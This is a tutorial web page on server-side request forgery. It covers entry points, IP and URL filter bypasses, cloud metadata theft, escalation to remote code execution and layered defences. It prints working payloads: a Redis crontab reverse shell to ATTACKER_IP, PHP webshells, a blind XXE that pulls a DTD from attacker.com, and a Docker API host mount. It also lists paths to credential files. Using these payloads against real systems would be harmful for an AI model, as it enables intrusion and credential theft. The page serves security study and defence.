On this page
Server-Side Request Forgery (SSRF)
SSRF is a vulnerability where the server makes an HTTP/TCP request to a URL controlled by the attacker. The attacker doesn't hit the target directly — they make the server do it for them.
1. What Is SSRF
Attacker → Vulnerable Server → Internal Resource
↑
"Go fetch this URL"
The key difference from a normal request: the server sits inside the network perimeter and has access to resources that are unreachable from outside — internal APIs, cloud metadata, databases, orchestration systems.
The server acts as a proxy — with its IP address, its network permissions, its session cookies to internal services. A single SSRF can turn into leaked IAM keys, arbitrary file reads, or full RCE through internal services.
2. Where to Look for SSRF
Obvious Entry Points
- File/image upload by URL (
url=,src=,image_url=) - Avatar upload by link
- Data import by URL (RSS, XML, CSV)
- Webhooks — user supplies a URL for callbacks
- Link previews (like Slack, Telegram, messengers)
Less Obvious Entry Points
- PDF/HTML generation — wkhtmltopdf, Puppeteer, WeasyPrint render HTML and fetch resources. Payloads inside HTML that gets converted to PDF:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe> <img src="http://internal-service:8080/admin"> <link rel="stylesheet" href="http://169.254.169.254/latest/user-data"> <script>fetch('http://169.254.169.254/...').then(r=>r.text()).then(d=>document.write(d))</script> - SOAP/XML parsing — external entities (XXE → SSRF), details: XXE
- API integrations — user specifies a third-party service endpoint
- SVG, DOCX, XLSX uploads — XML inside with potential external entities
- URL availability checks / health checks
- Server-side redirects
Parameters to Look For
url=, uri=, path=, src=, dest=, redirect=, link=, feed=,
callback=, next=, target=, rurl=, domain=, endpoint=,
proxy=, page=, load=, fetch=, site=, html=, val=, view=
Headers
Referer— some applications follow the Referer for analyticsX-Forwarded-Host/Host— less common, but possible with improper handling
3. Types of SSRF
Non-blind (Classic) SSRF
The response from the internal service comes back to the attacker — fully or partially.
GET /fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Response: ami-id, instance-id, iam/security-credentials/...
Blind SSRF
The response is not returned. Ways to confirm and exploit:
| Technique | How It Works |
|---|---|
| OOB (out-of-band) | Request to Burp Collaborator / interactsh — watch for DNS/HTTP callback |
| Timing | Open port responds fast, closed port — timeout. Response time difference |
| Error differences | Different HTTP codes or messages for different internal responses |
| Side effects | SSRF to an internal API that changes something (deletion, restart) |
Partial SSRF
Response comes back but is truncated or filtered — you only see the status code, Content-Length, or headers.
4. Protocols (Schemes)
http:// and https://
The baseline vector. Requests to internal web services and APIs.
file://
Reading local files:
file:///etc/passwd
file:///etc/shadow
file:///proc/self/environ — environment variables (may contain secrets)
file:///proc/self/cmdline — process startup arguments
file:///home/user/.ssh/id_rsa — private SSH keys
file:///var/www/html/config.php — application config files
file:///root/.bash_history — command history
On Windows:
file:///C:/Windows/win.ini
file:///C:/Users/Administrator/.ssh/id_rsa
gopher://
The most powerful protocol for SSRF. Lets you send arbitrary bytes into a TCP connection.
Format: gopher://host:port/_<url-encoded data>
_— first character after/, gets ignored%0D%0A—\r\n(line break)- All special characters are URL-encoded
Lets you interact with any TCP service: Redis, SMTP, MySQL, FastCGI, Memcached.
dict://
Format: dict://host:port/command
Used for:
- Sending single commands to Redis/Memcached
- Port scanning
Limitation: sends only one line, not suitable for complex command chains.
Others
ftp://— FTP interaction, bounce attackssftp://ldap:///ldaps://— queries to LDAP serverstftp://— UDP-basedjar://— Java-specific, can load remote files
5. Filter Bypass
Bypassing IP Blacklists (127.0.0.1, localhost)
Alternative localhost notations:
http://127.1
http://127.0.1
http://127.000.000.001
http://0
http://0.0.0.0
Decimal:
http://2130706433 → 127.0.0.1
Conversion: 127×256³ + 0×256² + 0×256¹ + 1 = 2130706433
Hex:
http://0x7f000001
http://0x7f.0x0.0x0.0x1
Octal:
http://0177.0.0.01
http://017700000001
IPv6:
http://[::1]
http://[0000::1]
http://[::ffff:127.0.0.1]
http://[0:0:0:0:0:ffff:127.0.0.1]
Domains that resolve to 127.0.0.1:
http://localtest.me
http://vcap.me
http://127.0.0.1.nip.io
http://spoofed.burpcollaborator.net (your own Collaborator with DNS)
Bypassing Domain Whitelists
URL parsing (discrepancies between the parser and the HTTP client):
http://allowed.com@attacker.com — userinfo part of the URL
http://attacker.com#allowed.com — fragment
http://attacker.com?q=allowed.com — query string
http://allowed.com.attacker.com — subdomain
Open redirect:
http://allowed.com/redirect?url=http://169.254.169.254/
If there's an open redirect on the allowed domain — use it as an intermediate hop.
Encoded characters:
http://allowed.com%00@attacker.com — null byte
http://allowed.com%2F%2Fattacker.com
Bypassing Scheme Filters
gopher:// → Gopher:// → GOPHER:// (case-insensitive)
file:// → File://
Bypass via Redirect
If the server follows HTTP redirects:
- First URL passes the filter:
http://attacker.com/redirect - Attacker returns
302 Location: http://127.0.0.1/admin - Server follows the redirect → filter no longer checks
You can switch schemes via redirect:
http://attacker.com/redirect → gopher://127.0.0.1:6379/...
DNS Rebinding
Problem: server resolves DNS and checks the IP before making the request.
Bypass:
evil.com→ first DNS response:1.2.3.4(external, passes validation)- Server validates — OK
- Second DNS query (for the connection):
evil.com→127.0.0.1 - Request goes to localhost
Setup: your own DNS with TTL=0, alternating responses. Tools: rbndr.us, Singularity of Origin.
TOCTOU (Time-of-Check to Time-of-Use)
DNS rebinding is a specific case of the broader TOCTOU pattern: between the moment of check (DNS resolve → IP is OK) and the moment of use (HTTP request), the state changes. This matters because TOCTOU isn't limited to DNS — for example, if an application validates a URL, stores it, and uses it later, an intermediate redirect on that URL could change.
SSRF + CRLF Injection
If you can inject \r\n (CRLF) into the URL, you can add arbitrary HTTP headers to the request the server makes:
http://internal-service%0D%0AX-aws-ec2-metadata-token:%20TOKEN_VALUE%0D%0A
This lets you bypass defenses like IMDSv2 that require special headers. If the server's HTTP client doesn't sanitize CRLF in the URL — you control the request headers.
6. Cloud Metadata — The Primary Target
AWS (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
http://169.254.169.254/latest/user-data
The main prize — IAM credentials:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "IQoJb3...",
"Expiration": "2026-04-18T12:00:00Z"
}
With these keys → access to S3, EC2, Lambda, DynamoDB, etc.
IMDSv2 (defense):
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
→ Get a token
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: <token>
A simple GET-based SSRF won't work — you need PUT + a custom header. But if the SSRF lets you control the method and headers (or there's CRLF injection) — IMDSv2 can be bypassed too.
GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
Requires header: Metadata-Flavor: Google — but you can inject it via gopher.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Requires header: Metadata: true
DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
Kubernetes
If the server runs inside a Kubernetes Pod:
# Service account token (authentication to the cluster API)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes API — secrets of the entire namespace
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
# Kubelet read-only API — Pod information
http://localhost:10255/pods
# etcd — the store for all cluster state
http://localhost:2379/v2/keys/
# Kubernetes environment variables
file:///proc/self/environ
Service account token + Kubernetes API = potentially full access to the cluster, secrets, and other services.
7. Paths to RCE via SSRF
Redis (Port 6379)
Unauthenticated Redis + gopher = arbitrary file writes.
Vector 1 — Crontab (Linux):
gopher://127.0.0.1:6379/_
SET shell "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
→ Reverse shell via cron every minute.
Vector 2 — Webshell:
SET shell "\n\n<?php system($_GET['cmd']); ?>\n\n"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SAVE
→ Webshell at http://target.com/shell.php?cmd=id
Vector 3 — SSH authorized_keys:
SET ssh "\n\nssh-rsa AAAAB3... attacker@box\n\n"
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
→ SSH access without a password.
Tool: Gopherus auto-generates gopher payloads for Redis.
PHP-FPM / FastCGI (Port 9000)
PHP-FPM executes PHP code on demand via the FastCGI protocol.
Attack:
- Craft a FastCGI packet via gopher
- Point to an existing .php file (e.g.,
/var/www/html/index.php) - Set
PHP_VALUE: auto_prepend_file = php://input - Body —
<?php system("id"); ?> - PHP-FPM executes the code → RCE without writing files
Tool: Gopherus → FastCGI payload.
SMTP (Port 25)
Not RCE, but useful:
gopher://127.0.0.1:25/_
HELO attacker.com%0D%0A
MAIL FROM:<attacker@evil.com>%0D%0A
RCPT TO:<admin@target.com>%0D%0A
DATA%0D%0A
Subject: Test%0D%0A
Phishing email body%0D%0A
.%0D%0A
QUIT
→ Sending email on behalf of the internal server (for phishing, social engineering).
MySQL (Port 3306)
If MySQL has no password (empty root password in dev environments):
- Craft a MySQL authentication packet via gopher
- Send an SQL query:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' - → Webshell
Limitation: the MySQL protocol is binary and complex, doesn't always work.
Internal APIs Without Authentication
Many internal services trust requests from the internal network:
- Kubernetes API (
http://kubernetes.default.svc) - Docker API (
http://127.0.0.1:2375) - Consul, etcd, Elasticsearch
- Admin panels (Jenkins, Grafana, Kibana)
Docker API → RCE:
POST http://127.0.0.1:2375/containers/create
Body: {"Image":"alpine","Cmd":["sh"],"Binds":["/:/mnt"]}
→ Mount the host filesystem into a container → full access.
Chain: SSRF → Cloud Keys → Full Compromise
- SSRF →
169.254.169.254→ IAM credentials - With the keys:
aws s3 ls,aws ec2 describe-instances - Look for S3 buckets with secrets, databases, other instances
- Lateral movement across the cloud infrastructure
8. SSRF via XXE
XML parsers process external entities — this gives you SSRF + file reads.
Basic XXE → SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>
Blind XXE → OOB Exfiltration
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
Where XXE Shows Up
- APIs with
Content-Type: application/xml - SVG uploads:
<image xlink:href="http://internal/..."> - DOCX/XLSX uploads (ZIP with XML inside)
- SOAP endpoints
- Sometimes you can switch
Content-Type: application/jsontoapplication/xml
Detailed XXE breakdown → XXE (XML External Entities).
9. Chaining with Other Vulnerabilities
| Chain | How It Works | Impact |
|---|---|---|
| SSRF → XXE | SSRF to an internal service that parses XML | File reads, further SSRF |
| XXE → SSRF | External entity with http:// URI | Access to internal services, cloud metadata |
| SSRF → SSTI | SSRF to an internal service that renders templates | RCE via template injection |
| SSTI → SSRF | RCE via SSTI = you can make any requests | Full access to the internal network |
| SSRF → Deserialization | SSRF to an internal Java/PHP service with deserialization | RCE |
| SSRF + CRLF | CRLF in URL → arbitrary headers | IMDSv2 bypass, header injection |
| SSRF + Open Redirect | Redirect on an allowed domain as a springboard | Whitelist bypass |
10. Testing Methodology
Step 1: Discovery
- Find all parameters that accept URLs
- Check for hidden parameters (Param Miner)
- Review JS files for hidden endpoints
- Check upload, import, and webhook features
Step 2: Confirmation
- Insert a Burp Collaborator URL
- If no callback arrives:
- Try obfuscation, different schemes
- Check DNS callback separately from HTTP
- Compare timing:
http://10.255.255.1(non-routable) vs a normal URL - Possibly a firewall blocks outgoing — try internal addresses
Step 3: Determine the Type
- Response visible → non-blind → read data
- Only callback → blind → OOB/timing
Step 4: Bypass Filters
- IP obfuscation (decimal, hex, octal, IPv6)
- DNS tricks (your domain → 127.0.0.1, DNS rebinding)
- URL parsing (@, #, %00)
- Redirects
- Scheme switching
Step 5: Escalation
1. http://169.254.169.254/... → cloud credentials
2. file:///etc/passwd → file reads
3. http://127.0.0.1:PORT → port scanning
4. gopher://127.0.0.1:6379/... → Redis → RCE
5. gopher://127.0.0.1:9000/... → FastCGI → RCE
6. http://127.0.0.1:2375/... → Docker API → RCE
7. http://kubernetes.default.svc/... → K8s API → cluster secrets
Hands-on exercise: SSRF with blacklist filter bypass (PortSwigger).
11. Defending Against SSRF
Application Level (Input Validation)
- Whitelist allowed domains/IPs — not a blacklist. Blacklists can always be bypassed (decimal, hex, IPv6, resolver domains).
- Whitelist schemes — only
http://andhttps://. Disablefile://,gopher://,ftp://,dict://, and the rest. - Restrict ports — allow only standard HTTP ports (80, 443, 8080, 8090). This prevents interaction with Redis (6379), MySQL (3306), FastCGI (9000).
- Validate IP after DNS resolution — resolve DNS → check that the IP is not private (10.x, 172.16-31.x, 192.168.x, 127.x, 169.254.x, ::1) → connect to that same IP (don't re-resolve — otherwise TOCTOU/DNS rebinding).
- Validate domain names — check URL structure, don't trust user-supplied domains without a whitelist.
- Disable or validate redirects — better to disable. If the business requires them — validate every hop, not just the first URL. Common mistake: validating only the first step while the redirect goes through unchecked.
- Understand how your library handles addresses — different HTTP clients parse URLs differently.
urllibin Python,curlin PHP,HttpClientin Java — each has its quirks with userinfo (@), fragments (#), null bytes.
Response Level (Output Filtering)
- Filter returned data — if the application expects a specific data type (JSON, image), verify format compliance before showing it to the user.
- Block response details — don't return the full internal service response to the user. Minimum information.
- Uniform error messages — standardize errors so you can't fingerprint internal ports and services through error message differences.
Infrastructure Level
- Network segmentation — the application server should not have access to arbitrary internal services. Firewall rules: only required ports and hosts.
- Restrict access to internal infrastructure — for servers potentially vulnerable to SSRF (those processing user-supplied URLs), limit outbound connections to the internal network.
- Isolation — if you can't remove the URL functionality, move it to a separate isolated network segment with minimal privileges.
- Metadata concealment — IMDSv2 (AWS), required headers (GCP:
Metadata-Flavor, Azure:Metadata). But don't rely solely on this — CRLF injection or gopher can inject headers.
Common Mistakes
- Blacklist instead of whitelist — can always be bypassed
- Validating the URL string instead of the IP after resolution — DNS rebinding
- Checking only the first URL — redirect bypasses it
- Forgetting about IPv6, decimal, octal IP forms
- Relying on "our library is safe" without testing specific behavior
12. Severity Assessment
| Severity | Conditions |
|---|---|
| Critical | Cloud credentials, RCE (Redis/FastCGI/Docker), access to databases with data |
| High | File reads (file://), non-blind access to internal network, access to internal APIs |
| Medium | Blind SSRF, port scanning, limited protocols |
| Low | External requests only, strict whitelist with minimal control |
13. Tools
| Tool | Purpose |
|---|---|
| Burp Collaborator | Confirming blind SSRF (DNS/HTTP callback) |
| interactsh | Free alternative to Collaborator |
| Gopherus | Generating gopher payloads for Redis, MySQL, FastCGI, SMTP |
| SSRFmap | Automating SSRF exploitation |
| Burp Intruder | Fuzzing parameters and bypassing filters |
| Param Miner (Burp extension) | Finding hidden parameters |
14. Notable Cases
Capital One (2019): SSRF → AWS metadata → IAM keys → S3 → leak of 106M records. $80M fine.
GitLab (CVE-2021-22214): SSRF via webhook validation, bypass through DNS rebinding.
Shopify (2018, Bug Bounty): SSRF via product import → GCP metadata. $15,000 bounty.
Microsoft Exchange — ProxyLogon (2021): SSRF + deserialization chain → RCE. Mass exploitation.
15. Q&A — Prep Questions
1. What is SSRF?
A vulnerability where the server makes a network request to an address controlled by the attacker. The server becomes a "proxy" — it sits inside the network perimeter and has access to resources unreachable from outside. The attacker doesn't hit the target directly but forces the server to do it, using the server's privileges and network position.
2. What features most often become SSRF entry points?
Any functionality where the server fetches a user-supplied URL: image/file upload by link, webhooks, link previews, data import (RSS/XML/CSV), PDF/HTML generation, integrations with external APIs. Less obvious points: XML parsing (XXE→SSRF), SVG/DOCX uploads, URL availability checks, server-side redirects.
3. Why is SSRF more dangerous than just "the server fetched the wrong thing"?
The server is in a trusted network zone. It can reach cloud metadata (169.254.169.254) and grab IAM keys — that's a path to fully compromising the cloud infrastructure. Internal services (Redis, Docker API, Kubernetes) often have no authentication for requests from the internal network. A single SSRF can turn into RCE, data leaks, or lateral movement across the entire infrastructure.
4. How does blind SSRF differ from "regular" SSRF?
With regular (non-blind) SSRF, the internal service's response comes back to the attacker — you can read data directly. With blind SSRF, the response is not visible. Confirmation and exploitation go through side channels: OOB callbacks (DNS/HTTP to your server), response time differences (open port is fast, closed port times out), error differences, or side effects of the request (e.g., data deletion via an internal API).
5. Where to look for hidden SSRF attack surface beyond the obvious url parameter?
Headers (Referer, X-Forwarded-Host), hidden parameters (Param Miner), PDF/HTML generators (Puppeteer/wkhtmltopdf fetch resources from HTML), XML parsers (XXE→SSRF), office documents (DOCX/XLSX contain XML with external entities), client-side JS files (may reveal hidden backend endpoints), server-side redirects.
6. Why doesn't "only localhost or internal network" access make SSRF safe?
Dozens of services run on localhost: Redis (6379), Docker API (2375), MySQL (3306), PHP-FPM (9000), Kubernetes kubelet (10255). Many of them require no authentication for local connections. Unauthenticated Redis + gopher = arbitrary file writes → crontab → reverse shell. Docker API → create a container mounting the host filesystem → full control.
7. Why are simple regex URL validation and blocklists almost always unreliable?
The IP 127.0.0.1 can be written a dozen ways: decimal (2130706433), hex (0x7f000001), octal (0177.0.0.01), IPv6 (::1, ::ffff:127.0.0.1), short forms (127.1, 0). There are domains that resolve to 127.0.0.1 (localtest.me, vcap.me). URL parsing has discrepancies: allowed.com@attacker.com, null bytes, fragment tricks. Regex doesn't account for all encoding variants and parsing inconsistencies.
8. Why are redirects and DNS so important in SSRF?
Redirects let you bypass first-URL validation: the filter checks http://allowed.com/redirect, which returns 302 to http://127.0.0.1/admin. Through redirects you can switch schemes (http → gopher). DNS rebinding exploits TOCTOU: at check time the domain resolves to an external IP (passes validation), at connection time — to 127.0.0.1. If the application doesn't validate every step and doesn't pin the IP after resolution — these bypasses work.
9. Why is SSRF especially dangerous in cloud and container environments?
Cloud providers expose a metadata service (169.254.169.254) with IAM keys, tokens, and configuration. IMDSv1 (AWS) serves keys on a simple GET — a perfect SSRF target. In Kubernetes, every Pod has a service account token, and the Kubernetes API is reachable via the DNS name kubernetes.default.svc. Docker API without TLS on port 2375 lets you create containers with host-system access. Dense service packing in containers increases the attack surface.
10. What does mature SSRF defense look like?
Three levels. Application: whitelist allowed domains and schemes (http/https only), validate IP after DNS resolution (not the URL string but the resolved IP — and use that same IP for the connection), disable or step-by-step validate redirects, understand the behavior of your specific HTTP library. Response: filter the format of returned data, standardize errors, minimize returned information. Infrastructure: network segmentation, IMDSv2/metadata headers, isolate SSRF-prone services in a separate segment.
16. Quick Review Cheat Sheet
SSRF = server fetches a URL the attacker controls
Where: url=, uploads, webhooks, PDF generation, XML parsing
Types: non-blind (see the response) / blind (don't see it)
Protocols: http, file, gopher, dict
Filter bypass:
IP → decimal/hex/octal/IPv6/domains
Domain → @, #, open redirect, DNS rebinding
Scheme → case change, redirect
TOCTOU → check and use happen at different times
CRLF → arbitrary headers in the request
Targets:
169.254.169.254 → cloud keys (AWS/GCP/Azure)
file:///etc/passwd → files
gopher → Redis/FastCGI → RCE
Docker API (2375) → RCE
Kubernetes API → cluster secrets
Service account token → /var/run/secrets/kubernetes.io/...
Defense:
Application: whitelist domains/schemes, validate IP after resolve, control redirects
Response: format filtering, uniform errors, minimal data
Infrastructure: segmentation, IMDSv2, isolation
Severity: RCE/cloud keys = critical, files/internal network = high, blind = medium
More in this category
Web Shell Upload via Extension Blacklist Bypass (PortSwigger Lab)
.php is blacklisted, but .htaccess uploads without complaint — we slip our own Apache config in and make the server execute shell.bug as PHP.
Web Shell Upload via Obfuscated File Extension (PortSwigger Lab)
Extension blacklist rejects .php and a double-extension shell.php.jpg is served as an image — a null byte in shell.php%00.jpg bypasses both checks.
Remote Code Execution via Web Shell Upload (PortSwigger Lab)
Avatar upload has no validation — drop a PHP web shell and read /home/carlos/secret.